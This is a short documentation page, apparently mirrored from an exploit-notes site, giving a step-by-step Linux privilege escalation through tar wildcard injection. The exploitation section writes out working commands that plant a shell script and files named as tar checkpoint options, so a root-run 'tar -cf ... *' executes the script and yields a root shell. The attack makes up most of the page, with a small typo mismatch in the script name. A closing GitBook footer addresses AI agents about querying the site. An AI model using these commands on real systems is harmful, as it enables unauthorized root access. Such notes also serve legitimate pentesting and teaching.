> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/tar-wildcard-injection-privesc.md).

# Tar Wildcard Injection PrivEsc

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/tar-wildcard-injection-privesc/#investigation) <a href="#investigation" id="investigation"></a>

For example, below command can be executed as root.

```sh
sudo -l

(root) NOPASSWD: /opt/backup/baskup.sh
Copied!
```

#### [Check If the File Contains Tar Command with Wildcards](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/tar-wildcard-injection-privesc/#check-if-the-file-contains-tar-command-with-wildcards) <a href="#check-if-the-file-contains-tar-command-with-wildcards" id="check-if-the-file-contains-tar-command-with-wildcards"></a>

We need to check the content in the file.

```sh
cat /opt/backup/backup.sh

# -cf: create an archived file
tar -cf backup.tar *
Copied!
```

The above **tar** command means that it creates an arvhived file from any input file because it passes **wildcard (\*)**.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/tar-wildcard-injection-privesc/#exploitation) <a href="#exploitation" id="exploitation"></a>

Now create a payload for privilege escalation.

```sh
cd /opt/backup
echo -e '#!/bin/bash\n/bin/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
Copied!
```

We've created three files.

```sh
ls /opt/backup

shell.sh  '--checkpoint-action=exec=sh shell.sh'  '--checkpoint=1'
Copied!
```

Now execute **"tar"** command as root with wildcard.

```sh
sudo tar -cf example.tar *
Copied!
```

Wait until **"tar"** command will be executed.\
After a while, we should see the current user switch to root.

```sh
whoami
root
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/tar-wildcard-injection-privesc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
